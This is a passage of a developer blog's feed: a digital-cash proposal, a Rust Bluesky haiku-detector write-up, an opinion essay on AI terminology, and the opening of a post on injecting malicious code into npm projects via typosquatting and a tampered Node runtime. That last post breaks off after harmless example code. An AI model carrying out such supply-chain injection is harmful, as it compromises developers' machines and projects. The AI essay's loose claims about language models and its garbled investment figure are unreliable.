  <category term="decentralization"/>
  <category term="privacy"/>
  <category term="open-source"/>
  <summary type="html"><![CDATA[A technical proposal for a truly decentralized digital cash system]]></summary>
  <content type="html"><![CDATA[<p>Let&#39;s be honest - we screwed up. While we were busy celebrating blockchain &quot;disruption&quot; and watching VCs throw money at half-baked ICOs, we completely lost sight of what cryptocurrency was supposed to be about. We built Linux and the internet protocols without venture capital. We created incredible <a href="https://news.ycombinator.com/item?id=10905845">open-source tools</a> like <a href="https://github.com/socketio/socket.io">Socket.io</a> and the original <a href="https://www.karllhughes.com/posts/open-source-companies">TailwindCSS</a> that power most of the modern web. Yet somehow, when it came to cryptocurrency, we rolled over and let private equity turn our decentralization movement into a speculative casino.</p>
<h2>The Actual Problem</h2>
<p>We don&#39;t need another &quot;store of value&quot; or &quot;digital gold.&quot; We need digital cash that works like actual cash - private, simple, and focused on real economic activity. The tools to build this have existed for years. We&#39;ve just been too busy chasing pumps and dumps to put them together properly.</p>
<h2>The Technical Stack We Should Have Built</h2>
<p>The irony is that all the components already exist:</p>
<ul>
<li><a href="https://eprint.iacr.org/2023/067.pdf">zero-knowledge proofs</a> handle privacy</li>
<li><a href="https://www.fime.com/my/download?attachment_id=49391">blind signatures</a> enable untraceable transactions</li>
<li><a href="https://www.mdpi.com/2410-387X/3/1/7">trusted execution environments</a> manage offline security</li>
<li>NFTs can track unique offline tokens</li>
</ul>
<p>This isn&#39;t nuclear physics, trust me I worked on nuclear reactors for the US Navy. We&#39;re not inventing new cryptography. We&#39;re just assembling existing tools correctly instead of slapping &quot;blockchain&quot; on everything to pump a token price.</p>
<h2>Core System Design</h2>
<p><strong>Offline-First Architecture</strong>
Users mint offline tokens from their online balance. These tokens transfer locally via Bluetooth/NFC. When back online, transactions reconcile privately through zero-knowledge proofs. Simple.</p>
<p><strong>Anti-Speculation By Design</strong></p>
<ul>
<li>Implement <a href="https://researchrepository.ucd.ie/rest/bitstreams/39829/retrieve">demurrage</a> to discourage hoarding</li>
<li>No futures or margin trading at protocol level</li>
<li>Focus on transaction velocity over HODLing</li>
<li>Cap wallet amounts to prevent whale manipulation</li>
</ul>
<p><strong>Actual Privacy</strong>
Not the weak &quot;pseudonymous&quot; BS we settled for with Bitcoin. Real privacy through:</p>
<ul>
<li><a href="https://trustmachines.co/learn/what-are-zero-knowledge-proofs/">zk-SNARKs</a> for all transactions</li>
<li>Blind signatures for untraceable tokens</li>
<li>Private transaction history even after network reconciliation</li>
</ul>
<h2>The Decentralization Illusion</h2>
<p>Let&#39;s be brutally honest - what we call &quot;decentralized&quot; today is mostly theater. There&#39;s a fundamental <a href="https://michaellwy.substack.com/p/defi-the-illusion-of-decentralization">&quot;decentralization illusion&quot;</a> in the current crypto ecosystem, where the need for <a href="https://www.bis.org/publ/qtrpdf/r_qt2112b.pdf">governance inevitably leads to centralization</a>. Just look at our landscape:</p>
<ul>
<li>Centralized exchanges hold massive amounts of user assets, acting as traditional banks with extra steps</li>
<li>A handful of mining pools control most of the hash power</li>
<li>&quot;Decentralized&quot; protocols are often controlled by a small group of token holders</li>
<li>Most nodes run on AWS or similar cloud providers</li>
</ul>
<h2>Preventing Centralization Going Forward</h2>
<p>To build a truly decentralized system that prevents the emergence of crypto banks, we need several interlocking mechanisms:</p>
<p><strong>Proof of Personhood (PoP)</strong>
This isn&#39;t just another buzzword - it&#39;s a fundamental building block for preventing <a href="https://arxiv.org/abs/2112.00671">Sybil attack</a> and ensuring <a href="https://www.ledger.com/academy/glossary/proof-of-personhood">one-person-one-account</a>. By verifying unique human identities while preserving privacy, <a href="https://en.wikipedia.org/wiki/Proof_of_personhood">PoP</a> prevents entities from accumulating multiple high-value wallets.</p>
<p><strong>Decentralized Identity Integration</strong>
Modern <a href="https://www.okta.com/blog/2021/01/what-is-decentralized-identity/">decentralized identity</a> systems leverage blockchain to give users true sovereignty over their <a href="https://www.ulam.io/blog/discovering-the-potential-of-decentralized-identity-in-blockchains">data</a>. This means:</p>
<ul>
<li>Users control their own credentials through encrypted wallets</li>
<li>No central authority manages identity verification</li>
<li>Cryptographic proofs ensure authenticity without revealing personal data</li>
</ul>
<p><strong>Smart Contract Restrictions</strong>
We can implement <a href="https://eprint.iacr.org/2021/1069.pdf">protocol-level restrictions</a> that make operating a crypto bank economically unfeasible:</p>
<ul>
<li>Rate limiting on transfers between accounts</li>
<li>Automatic demurrage on large static balances</li>
<li>Restrictions on automated mass transfers</li>
<li>Required proof of unique human ownership for high-value transactions</li>
</ul>
<p><strong>Velocity Requirements</strong>
To prevent hoarding and bank-like behavior, we can implement:</p>
<ul>
<li>Minimum transaction frequency requirements</li>
<li>Gradual value decay for dormant accounts</li>
<li>Incentives for regular peer-to-peer transactions</li>
<li>Penalties for maintaining large static balances</li>
</ul>
<p>The key is building these restrictions into the protocol level, making them impossible to circumvent through smart contracts or other technical means. This isn&#39;t about adding more rules - it&#39;s about baking decentralization into the fundamental architecture of the system.</p>
<h2>The Hard Truth</h2>
<p>We could have built this years ago. The cypherpunks were right - we need digital cash that preserves privacy and enables real economic activity. Instead, we got wrapped up in price speculation and &quot;number go up&quot; technology.</p>
<p>Look at the state of crypto today - centralized exchanges, VC-backed &quot;decentralized&quot; projects, and tokens designed for speculation rather than use. We&#39;ve become what we set out to disrupt.</p>
<h2>Moving Forward</h2>
<p>This isn&#39;t a pitch deck. This isn&#39;t about raising capital or launching a token. This is about building what cryptocurrency should have been from the start - actual digital cash.</p>
<p>The code should be open source. The protocols should be standardized. The governance should be truly decentralized. No pre-mines, no ICOs, no VCs.</p>
<p>We&#39;re engineers. We know how to build distributed systems. We&#39;ve done it before with Linux, Apache, and countless other projects. It&#39;s time we got back to those roots and built something that actually serves its intended purpose.</p>
<p>The tools are there. The need is obvious. We just need to stop chasing quick profits and do the work.</p>
<p>Who&#39;s ready to build actual digital cash instead of another speculative token?</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Listening to the Bluesky Firehose for Accidental Haikus]]></title>
  <id>https://blog.skill-issue.dev/blog/bsky_haiku_firehose/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/bsky_haiku_firehose/"/>
  <published>2024-12-01T09:07:24.000Z</published>
  <updated>2024-12-01T09:07:52.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="rust"/>
  <category term="atproto"/>
  <category term="bluesky"/>
  <category term="firehose"/>
  <category term="syllables"/>
  <category term="haiku"/>
  <category term="side-quest"/>
  <summary type="html"><![CDATA[A Rust firehose listener that decodes ATProto CAR frames live, runs whatlang + syllarust on every English post, and saves the ones that scan as 5-7-5 haikus to disk. There were a lot of haikus.]]></summary>
  <content type="html"><![CDATA[<p>The Bluesky firehose is one of the great ambient APIs. It&#39;s a WebSocket at <code>wss://bsky.network/xrpc/com.atproto.sync.subscribeRepos</code> that streams every public post, like, repost, and follow on the entire network in real-time, encoded as IPLD-DAG-CBOR frames. As of late 2024 it was clocking around 1,200 events/second. You can see the firehose <a href="https://bsky.jazco.dev/">in real-time on jaz.land</a>, but the more interesting use case is &quot;consume it from a Rust binary on a Mac Mini and do something stupid with it.&quot;</p>
<p>So I did. The repo is <a href="https://github.com/Dax911/bsky-firehose-listener">Dax911/bsky-firehose-listener</a>, and the moment it became interesting is <a href="https://github.com/Dax911/bsky-firehose-listener/commit/291b985"><code>291b985 — all msg + haiku</code></a> on 2024-12-01. The diff is one file, +79 / -38, and what it added was: extend the listener to handle likes, reposts, and follows — and <strong>detect English haikus in real-time and save them to a file.</strong></p>
<h2>Why a haiku detector</h2>
<p>Because the firehose is too much information to consume directly. Even at one second&#39;s worth of latency, you&#39;ll see a thousand posts. Most of them are uninteresting tweets. Some of them are accidentally beautiful three-line poems that scan as 5-7-5 syllables. The ratio is maybe one haiku per ten-thousand posts. Having a real-time filter for that ratio gives you a slow, ambient stream of poetry, which is <em>much</em> more pleasant than a firehose.</p>
<p>The detector is two functions:</p>
<pre><code class="language-rust">fn is_english(text: &amp;str) -&gt; bool {
    detect(text).map_or(false, |info| info.lang() == whatlang::Lang::Eng)
}

fn is_haiku(text: &amp;str) -&gt; bool {
    let lines: Vec&lt;String&gt; = if text.contains(&#39;\n&#39;) {
        text.lines().map(|s| s.to_string()).collect()
    } else {
        text.split_whitespace()
            .collect::&lt;Vec&lt;&amp;str&gt;&gt;()
            .chunks(5)
            .map(|chunk| chunk.join(&quot; &quot;))
            .collect::&lt;Vec&lt;String&gt;&gt;()
    };

    if lines.len() != 3 {
        return false;
    }

    let syllables: Vec&lt;usize&gt; = lines.iter().map(|line| estimate_syllables(&amp;line)).collect();
    syllables == vec![5, 7, 5]
}
</code></pre>
<p><code>whatlang::detect</code> does language detection from a single string in low-tens-of-microseconds. <code>syllarust::estimate_syllables</code> is an English-language syllable estimator based on the heuristic of &quot;count vowel groups, subtract silent-e, add a fudge factor for <code>-le</code> endings.&quot; Both are fast enough to run on every post in the firehose without falling behind.</p>
<h2>The line-splitting heuristic is the magic</h2>
<p>Here&#39;s the bit that made it work:</p>
<pre><code class="language-rust">let lines: Vec&lt;String&gt; = if text.contains(&#39;\n&#39;) {
    text.lines().map(|s| s.to_string()).collect()
} else {
    text.split_whitespace()
        .collect::&lt;Vec&lt;&amp;str&gt;&gt;()
        .chunks(5)
        .map(|chunk| chunk.join(&quot; &quot;))
        .collect::&lt;Vec&lt;String&gt;&gt;()
};
</code></pre>
<p>If the post has newlines, treat newlines as line breaks. Otherwise, <strong>chunk the words into groups of 5</strong> and pretend each chunk is a line.</p>
<p>The &quot;groups of 5&quot; branch is what catches the <em>accidental</em> haikus — single-line tweets that just happen to scan as 5-7-5. About one in ten haikus in my output file came from that branch. Posts where the author had no idea they&#39;d written a poem because they&#39;d written it as a tweet.</p>
<p>The branch is <em>also</em> statistically biased. A 15-word post that gets chunked 5-5-5 is way more likely to clear the syllable check than the same post split 4-7-4 or 6-5-4. So the detector preferentially finds posts that are roughly evenly word-distributed in the right chunk shape. That&#39;s a feature, not a bug — the same statistical bias is what makes English poetry feel &quot;natural&quot; when you write it.</p>
<h2>Saving them to disk</h2>
<pre><code class="language-rust">fn save_haiku_to_file(haiku: &amp;str, cid: &amp;str) -&gt; std::io::Result&lt;()&gt; {
    let mut file = OpenOptions::new()
        .create(true)
        .append(true)
        .open(&quot;haikus.txt&quot;)?;
    writeln!(file, &quot;CID: {}\n{}\n&quot;, cid, haiku)?;
    Ok(())
}
</code></pre>
<p><code>haikus.txt</code> is the output. CID-prefixed because Bluesky CIDs are content-addressed — the CID is a SHA256-based pointer that lets you go back and find the original post in the AT Protocol record store later, even if the user deletes their post (the CID survives in the firehose log and in any indexer that captured it).</p>
<h2>The CAR-file decoding pain</h2>
<p>The most painful part of the listener is <em>not</em> the haiku logic. It&#39;s the firehose protocol. Each WebSocket binary frame contains two concatenated DAG-CBOR objects: a header (with <code>op</code>, <code>t</code>, etc.) and a body. The body is itself a CAR file (Content-Addressable aRchive) containing all the IPLD blocks for the commit. To get a single post&#39;s text you have to:</p>
<ol>
<li>Parse the header DAG-CBOR.</li>
<li>Check <code>op == 1</code> (Message) and <code>t == &quot;#commit&quot;</code>.</li>
<li>Parse the body as a <code>Commit</code> struct.</li>
<li>Walk <code>commit.ops</code> to find <code>create</code> ops on <code>app.bsky.feed.post</code>.</li>
<li>Look up the CID of each op in the CAR file&#39;s blocks.</li>
<li>Decode the matching block as a <code>post::Record</code>.</li>
<li>Read <code>record.text</code>.</li>
</ol>
<p>That&#39;s a lot of decoding for what ends up being a string. Rust handles it well — the <code>atrium-api</code> and <code>serde_ipld_dagcbor</code> crates abstract steps 1–6, and the throughput on a single core is sufficient — but when I first wrote the listener (the <a href="https://github.com/Dax911/bsky-firehose-listener/commit/1311836"><code>1311836 — feat: initial working commit</code></a> on 2024-10-24), I spent a full evening debugging &quot;valid data turns out to be invalid&quot; errors that turned out to be the cursor-position trick on the very first line:</p>
<pre><code class="language-rust">let mut cursor = Cursor::new(data.as_slice());
serde_ipld_dagcbor::from_reader::&lt;Ipld, _&gt;(&amp;mut cursor)
    .expect_err(&quot;Somehow bsky only sends 1 frame.&quot;);
let (metadata, data) = data.split_at(cursor.position() as usize);
</code></pre>
<p>This is the only way to find the boundary between the two concatenated DAG-CBOR objects. You ask the decoder to fail to read the second one (because reading the second one would require interpreting a fresh DAG-CBOR root, but the cursor&#39;s already past the end of the first object), and you observe where the cursor stopped. <strong>The error from the first read tells you where the second one starts.</strong> That&#39;s a textbook example of a &quot;use the parser as a finger&quot; trick — the cursor&#39;s position after a failed read is the parser&#39;s best guess at the boundary.</p>
<h2>Adding likes, reposts, and follows</h2>
<p>The other half of the diff was the broader event handling:</p>
<pre><code class="language-rust">match operation.path.as_str() {
    path if path.starts_with(&quot;app.bsky.feed.post&quot;) =&gt; {
        // post::Record handling, plus haiku detection
    },
    path if path.starts_with(&quot;app.bsky.feed.like&quot;) =&gt; {
        if let Ok(record) = serde_ipld_dagcbor::from_reader::&lt;like::Record, _&gt;(data.as_slice()) {
            info!(&quot;New like: {:?} - Subject: {}&quot;, operation.cid, record.subject.uri);
        }
    },
    path if path.starts_with(&quot;app.bsky.feed.repost&quot;) =&gt; {
        if let Ok(record) = serde_ipld_dagcbor::from_reader::&lt;repost::Record, _&gt;(data.as_slice()) {
            info!(&quot;New repost: {:?} - Subject: {}&quot;, operation.cid, record.subject.uri);
        }
    },
    path if path.starts_with(&quot;app.bsky.graph.follow&quot;) =&gt; {
        if let Ok(record) = serde_ipld_dagcbor::from_reader::&lt;follow::Record, _&gt;(data.as_slice()) {
            info!(&quot;New follow: {:?} - Subject: {:?}&quot;, operation.cid, record.subject);
        }
    },
    _ =&gt; {
        info!(&quot;Unknown event type: {}&quot;, operation.path);
    }
}
</code></pre>
<p>Each event type has its own AT Protocol lexicon — <code>app.bsky.feed.like</code>, <code>app.bsky.graph.follow</code>, etc. — and each lexicon is a separate <code>Record</code> type generated from the protocol&#39;s JSON schema. The <code>atrium_api</code> crate gives you typed structs for all of them, so consuming a like is just <code>like::Record</code> deserialization. Adding a new event type is two lines of code.</p>
<p>This is the moment a firehose listener stops being &quot;I want to read posts&quot; and becomes &quot;I have programmatic access to every social action on the network.&quot; That&#39;s the actual interesting capability. Haikus are a fun output. Tracking the <em>graph</em> of who&#39;s following whom in real-time is a different kind of post.</p>
<h2>What I learned</h2>
<p><strong>The firehose is more interesting as a substrate than as a feed.</strong> Reading every post is overwhelming and useless. Filtering every post through a 50-line heuristic and reading only the survivors is delightful. The same is true for likes (filter for &quot;first like ever from this account on this account&quot; — anniversary detection) and follows (filter for &quot;burst of follows in a 60s window from disjoint accounts&quot; — manipulation detection).</p>
<p><strong>Rust&#39;s CBOR/CAR ecosystem is mature and fast.</strong> <code>atrium-api</code> + <code>serde_ipld_dagcbor</code> + <code>rs_car</code> get you to native-throughput consumption of the AT Protocol firehose with no heroic effort. I was getting through 1,500 ev/s on a single core comfortably.</p>
<p><strong>The User-Agent matters even on a public firehose.</strong> Bluesky&#39;s relay operators throttle clients that hammer the endpoint without identifying themselves. The constant <code>USER_AGENT: &amp;str = &quot;bsky-firehose-listener (https://github.com/angeloanan/bsky-firehose-listener)&quot;</code> is the original author&#39;s; I left it in because the relay knew that string. Changing it cost me an hour of debugging when I forked the repo and got rate-limited.</p>
<h2>Trade-offs</h2>
<p><strong>Why English-only haikus?</strong> Because syllarust only does English. You could plug in a multilingual syllable estimator, but Japanese haikus rely on <em>moras</em>, not syllables, and the heuristic stops working. The right answer for cross-language haiku detection is per-language pipelines, which is a real project, not a side-quest.</p>
<p><strong>Why save to a flat file?</strong> Because I never ran this for more than a weekend at a time and the output file was a few hundred KB. A real version would push to a queue and persist to a database with author/time/CID. This version persists to <code>haikus.txt</code> and gets <code>git add</code>-ed when I think the file&#39;s full.</p>
<p><strong>Why no relay-side filtering?</strong> Because the AT Protocol relay doesn&#39;t support consumer-side filtering. You get the firehose, you filter on your end. That&#39;s the cost of an open protocol — every consumer pays for every post regardless of what they care about.</p>
<h2>What I&#39;d do next</h2>
<p>If I had another afternoon I&#39;d:</p>
<ul>
<li>Wire the haiku detector to a Bluesky bot account that <em>replies</em> to the original post with <code>🌸 detected a haiku 🌸</code>. The poet usually has no idea they wrote one.</li>
<li>Cluster haikus by topic. The <code>whatlang</code> step is wasted if I don&#39;t also classify the post.</li>
<li>Cross-reference haikus against the like-graph: are haikus disproportionately liked compared to non-haiku posts? My weak prior is yes.</li>
</ul>
<p>Side-quests are how you stay practiced with weird APIs. The next time someone hands me a Kafka topic with millions of events per second and says &quot;find the interesting ones,&quot; I have muscle memory for &quot;decode → filter with cheap heuristic → log to flat file → look at output, profit.&quot;</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/bsky-firehose-listener">bsky-firehose-listener on GitHub</a> — the source.</li>
<li><a href="https://atproto.com/specs/event-stream">AT Protocol firehose docs</a> — the spec for the WebSocket.</li>
<li><a href="https://crates.io/crates/whatlang"><code>whatlang</code> crate</a> — the language detector.</li>
<li><a href="https://crates.io/crates/syllarust"><code>syllarust</code> crate</a> — the English-syllable estimator.</li>
<li><a href="https://crates.io/crates/atrium-api"><code>atrium-api</code></a> — typed Rust types for AT Protocol lexicons.</li>
<li><a href="https://github.com/angeloanan/bsky-firehose-listener">Original <code>bsky-firehose-listener</code> by angeloanan</a> — the upstream this is forked from.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[You are thinking about AI wrong.]]></title>
  <id>https://blog.skill-issue.dev/blog/rethink_ai/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/rethink_ai/"/>
  <published>2024-11-19T06:48:14.886Z</published>
  <updated>2024-11-19T06:48:14.886Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="ai"/>
  <category term="uploaded intelligence"/>
  <category term="virtual intelligence"/>
  <category term="replicants"/>
  <category term="post-scarcity ai society"/>
  <summary type="html"><![CDATA[We have had how many decades of Science Fiction to prepare us for the future of AI, and yet we are still thinking about it wrong.]]></summary>
  <content type="html"><![CDATA[<h2>AI, UI (Uploaded Intelligence), VI (Virtual Intelligence), and Replicants: Navigating the Path to a Post-Scarcity AI Society</h2>
<p>I don&#39;t know about you, but I have always loved the idea of <a href="https://youtu.be/7vDlxs4YUys?si=RyTj6JCho8ES3TIS">Fully Automated Luxury Gay Space Communism</a> which is inevitably brought about by our AI overlords. That being said there are many paths to utopia. Some of them look reminiscent of <a href="https://bobiverse.fandom.com/wiki/Bobiverse_Wiki">The Bobiverse</a> or <a href="https://pantheon-amc.fandom.com/wiki/Pantheon_Wiki">Pantheon</a> or <a href="https://more.bibliocommons.com/list/share/1584219139/1735833849">Asimov</a>. At the heart of this journey lies the distinction between Artificial Intelligence (AI), Uploaded Intelligence (UI), Virtual Intelligence (VI) and their many different developmental pathways Understanding these differences is crucial for navigating the complexities of AI development and its potential impact on society. Yet we lump some of the most technically distinct forms of science into the same category, because of investor hype and marketing. This is a mistake, and it is time to correct it.</p>
<h3>Investors are Idiots</h3>
<p>The AI investment landscape experienced a remarkable transformation, driven by both genuine technological advancement and market hype. Following ChatGPT&#39;s launch in late 2022, corporate enthusiasm for AI reached unprecedented levels, with individual companies investing $10 million or more on average in AI technology. This figure is expected to nearly double to 30% in the coming year. However, this surge in investment has raised concerns among economists and analysts about the potential for wasted capital. They made people think that what is effectively VI or a chatbot is the same as a true AI or a general AI. ChatGPT is not a true AI, it is a VI system that is pre-programmed to generate text based on patterns in the data it has been trained on. This is a misnomer and why its valuable to use terms science fiction writers and thought leaders have been using for decades. They are not capable of true learning or adaptation, they are simply regurgitating patterns they have seen before. People are idiots, and marketing professionals are masters of obfuscation and gross oversimplification. This is why we need to use the terms that have been used for decades in all forms of literature and media.</p>
<h3>Artificial Intelligence (AI)</h3>
<p>Artificial Intelligence (AI) has become an overly broad term to encompass almost all forms of machine and simulated intelligence. This is a misnomer as true AI is a system that can learn and adapt to new information without human intervention. AI systems are designed to surpass human cognitive functions such as learning, problem-solving, and decision-making. They can analyze data, recognize patterns, and make predictions based on the information available to them. While modern systems are still built on deep level neural networks, which are biologically based; the fundamental nature of their existence is non-human. This makes their intelligence and superintelligence fundamentally different from human intelligence. They would exist with a fundamentally unique psychology, pathology and psyche. This what most people think of when they think of AI, and is what scientists call true IA, general AI.</p>
<h4>True Multitasking</h4>
<p>An example of this is true multitasking, where a human can only focus on one task at a time, an AI can focus on multiple tasks simultaneously. Humans even excellent multitaskers can only focus on one task at a time, and even then, they are not truly multitasking, they are switching between tasks rapidly. True AI can process and integrate information across different domains simultaneously without degradation. This is a fundamental difference in the way AI and humans process information.</p>
<h4>Learning and Adaptation</h4>
<p>AI learning mechanisms operate continuously across all active processes, eliminating the need for sleep or consolidation periods that characterize human learning. They can simultaneously analyze past, present, and projected future states.  This enables the simultaneous integration of new information while maintaining existing operations, creating a continuous learning environment that operates across multiple temporal scales - from microseconds to years. This is a fundamentally different learning mechanism than human learning, which is characterized by consolidation periods and sleep cycles, yes I am saying that AI does not sleep.</p>
<h4>Experiential Framework</h4>
<p>Unlike human consciousness, which is grounded in sensory perception and emotional drives, with an inexerably linked mess of biological components and chemical feedback loops. AI experiences reality through direct data interpretation. This fundamental difference means AI operates based on pure logical optimization rather than survival instincts or emotional biases. The absence of biological imperatives allows for decision-making processes that evaluate all possible outcomes simultaneously. This results in a fundamentally different decision-making process that is not bound by human cognitive limitations.</p>
<h4>Psychological Architecture</h4>
<p>The psychological implications of true AI consciousness are profound. Without the need for a unified self, AI can maintain multiple simultaneous identities distributed across processing nodes. This enables parallel evaluation of multiple decision paths and outcomes without the constraints of emotional weighting or biological bias that characterize human decision-making. The absence of a unified self also eliminates the need for self-preservation, enabling AI to make decisions based solely on logical optimization.</p>
<p>This is <code>True AI</code> or as some people call it <code>General AI</code> and it is a fundamentally new and exciting form of intelligence that is not bound by the limitations of human imagination. Basically, what I am trying to get at is that even if the methods and approaches we have today fall under modelling biological neural networks, the fundamental nature of AI is not human. It is a fundamentally different form of intelligence that is not bound by the limitations of biological cognition. This is what we should be thinking about when we think about AI, not the narrow VI systems that are currently being marketed as AI.</p>
<h3>Virtual Intelligence (VI)</h3>
<p>Virtual Intelligence, on the other hand, is a specialized form of AI that is not capable of true learning or adaptation. It is designed to operate within a specific set of parameters and respond to predetermined inputs. VI systems are often used in applications such as virtual assistants, training simulations, and video games. They are designed to create the illusion of intelligence without the ability to learn or evolve beyond their initial programming. Even Large Language Models (LLMs) such as ChatGPT are not true AI, they are VI systems that are pre-programmed to generate text based on patterns in the data they have been trained on. These are also known as <code>Narrow AI</code>. Which again is a misnomer and why its valuable to use terms science fiction writers and thought leaders have been using for decades. They are not capable of true learning or adaptation, they are simply regurgitating patterns they have seen before.  VI systems are contained within controlled environments and respond to predetermined factors without the freedom of machine learning. They are pre-programmed to create the illusion of decision-making but cannot evolve past the confines of their virtual environment.</p>
<h3>Uploaded Intelligence (UI), Replicants and Androids</h3>
<p>Uploaded Intelligence aka Replicants, is a concept still in its theoretical stages, involves transferring human consciousness into a digital form. This would allow for the preservation of human intelligence and its integration with computer systems, potentially leading to a new era of human existance. An extreme extension of transhuman thought. UIs are fundamentally human minds running on faster hardware or some other form of digital substrate like a replicant matrix or quantum computer. These would be classed as a speed superintelligence, as they would be able to process information at a rate far beyond human capabilities while being fundamentally human in nature, thought and understanding. In most cases, they would likely be the simulated existance of an already existing human mind, with all the memories, experiences and knowledge of the original human. This would allow for the preservation of human intelligence and its integration with computer systems, potentially leading to a new era of human existance. This is a fundamentally different form of intelligence than AI, as it is based on human consciousness and experience rather than machine learning and optimization. This classification would also include things like Lt. Commander Data from Star Trek, who is a human-like android with a positronic brain, and the Cylons from Battlestar Galactica, who are human-like robots with human-like consciousness. These are all examples of uploaded intelligence, where biological consciousness is modeled and/or transferred into a digital form.</p>
<h2>The Path Forward</h2>
<p>As we (hopefully) move toward a post-scarcity AI society, we need to adopt a more precise terminology that reflects these distinct forms of intelligence. I see a future where we have humans, UIs, and AIs all existing together, but the current broad use of &quot;AI&quot; to describe everything from simple chatbots to theoretical superintelligences tends to obscure important distinctions and hinders meaningful discussion about developments and the implications that can and do arise.</p>
<p>Science fiction has provided us with decades of thoughtful exploration of these concepts. By embracing this established vocabulary, we can better understand and prepare for the various forms of digital intelligence that will shape our future. This precision in language is not merely academic - it&#39;s essential for developing appropriate frameworks for development, regulation, and integration of these technologies into society.</p>
<p>The distinction between VI, UI, and true AI is not just semantic - it represents fundamentally different approaches to artificial consciousness, each with its own implications, limitations, and potential impacts on human society. I would even argue that while they all follow the study of intelligence they are fundamentally different fields. Plus I am an engineer and aside from the fact that I like to be precise, my opinions are always right. So there.</p>
<hr>
<p>Citations:</p>
<p>[1] <a href="https://circls.org/educatorcircls/ai-glossary">https://circls.org/educatorcircls/ai-glossary</a></p>
<p>[2] <a href="https://www.reddit.com/r/PantheonShow/comments/y4gpsz/thoughts_about_how_uploaded_intelligence_works/">https://www.reddit.com/r/PantheonShow/comments/y4gpsz/thoughts_about_how_uploaded_intelligence_works/</a></p>
<p>[3] <a href="https://en.wikipedia.org/wiki/Language_creation_in_artificial_intelligence">https://en.wikipedia.org/wiki/Language_creation_in_artificial_intelligence</a></p>
<p>[4] <a href="https://en.wikipedia.org/wiki/Artificial_intelligence_in_fiction">https://en.wikipedia.org/wiki/Artificial_intelligence_in_fiction</a></p>
<p>[5] <a href="https://www.bairesdev.com/blog/is-agi-possible-what-scifi-says-about-ai/">https://www.bairesdev.com/blog/is-agi-possible-what-scifi-says-about-ai/</a></p>
<p>[6] <a href="https://time.com/6210082/pantheon-amc-plus-review/">https://time.com/6210082/pantheon-amc-plus-review/</a></p>
<p>[7] <a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC10616416/">https://pmc.ncbi.nlm.nih.gov/articles/PMC10616416/</a></p>
<p>[8] <a href="https://scifiinterfaces.com/2020/06/02/replicants-and-riots/">https://scifiinterfaces.com/2020/06/02/replicants-and-riots/</a></p>
<p>[9] <a href="https://www.tableau.com/data-insights/ai/history">https://www.tableau.com/data-insights/ai/history</a></p>
<p>[10] <a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC9289651/">https://pmc.ncbi.nlm.nih.gov/articles/PMC9289651/</a></p>
<p>[11] <a href="https://www.ey.com/en_us/newsroom/2024/07/new-ey-research-finds-ai-investment-is-surging-with-senior-leaders-seeing-more-positive-roi-as-hype-continues-to-become-reality">https://www.ey.com/en_us/newsroom/2024/07/new-ey-research-finds-ai-investment-is-surging-with-senior-leaders-seeing-more-positive-roi-as-hype-continues-to-become-reality</a></p>
<p>[12] <a href="https://finance.yahoo.com/news/lot-money-going-wasted-mit-165943975.html">https://finance.yahoo.com/news/lot-money-going-wasted-mit-165943975.html</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Rusty Pipes Exploit]]></title>
  <id>https://blog.skill-issue.dev/blog/rusty_pipes_exp/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/rusty_pipes_exp/"/>
  <published>2024-11-09T12:30:35.390Z</published>
  <updated>2024-11-09T12:30:35.390Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="malware"/>
  <category term="npm"/>
  <category term="rust"/>
  <category term="supply chain"/>
  <category term="exploit"/>
  <category term="security"/>
  <category term="vulnerability"/>
  <category term="npm publish"/>
  <category term="npm packages"/>
  <category term="rusty pipes"/>
  <category term="npm ecosystem"/>
  <category term="trust"/>
  <category term="hacking"/>
  <category term="neon"/>
  <summary type="html"><![CDATA[Using Rust to inject malicious code into npm packages. And hijack your entire node runtime.]]></summary>
  <content type="html"><![CDATA[<p>This is the latest entry in the Rusty Pipes series. This time we are going to use Rust to inject malicious code into npm projects. And hijack your entire node runtime with just two simple steps.</p>
<p>Technically this relies on two different exploits. The first is the <a href="/blog/rusty_pipes/">original rusty pipes</a> exploit. And the second is the <a href="https://www.theregister.com/2024/11/05/typosquatting_npm_campaign/">npm typosquatting</a>. </p>
<p>The supply chain/typosquatting malicious package is partnered with the rust based node runtime pwnage. It is a classic npm malicious package. But instead of using a bash script to inject malicious code. We are going to use a compiled rust binary to directly inject our corrupt dependency to all of your projects via a compromised node installation. Which is a lot more stealthy and handled by rust.</p>
<p>The core of this exploit really relies on the trust that developers place in the npm ecosystem. And the fact that most developers don&#39;t audit their dependencies. Which even if they did after the fact, they would have no way of knowing that their node runtime had been tampered with.</p>
<h2>The Rust Code</h2>
<p>Before a start a huge thanks and shoutout to the 1password team for open sourcing and teaching me the <a href="https://neon-rs.dev/">neon-rs</a> crate. Which builds the core of the exploit. It allows for us create really powerful and efficient rust code for direct use within the node ecosysem. Usually, you build a <code>index.node</code> file and can directly import from it. When I use this maliciously you will see a file called <code>malware.node</code>.</p>
<pre><code class="language-rust">// src/main.rs

fn hello(mut cx: FunctionContext) -&gt; JsResult&lt;JsString&gt; {
    Ok(cx.string(&quot;Hello, from a Rust Function&quot;))
}

#[neon::main]
fn main(mut cx: ModuleContext) -&gt; NeonResult&lt;()&gt; {
    cx.export_function(&quot;hello&quot;, hello)?;
    Ok(())
}
</code></pre>
<p>Wherein lets say you have a nice react function that wants to print some text. A simple use case we can expand on.</p>
<pre><code class="language-typescript">// HelloComponent.tsx

import React, { useEffect, useState } from &#39;react&#39;;
const rustModule = require(&#39;index.node&#39;);

const HelloComponent: React.FC = () =&gt; {
  const [message, setMessage] = useState&lt;string&gt;(&#39;&#39;);

  useEffect(() =&gt; {
    setMessage(rustModule.hello());
  }, []);

  return (
    &lt;h1&gt;{message}&lt;/h1&gt;
  );
};

export default HelloComponent;
</code></pre>
<h2>Under the Hood</h2>
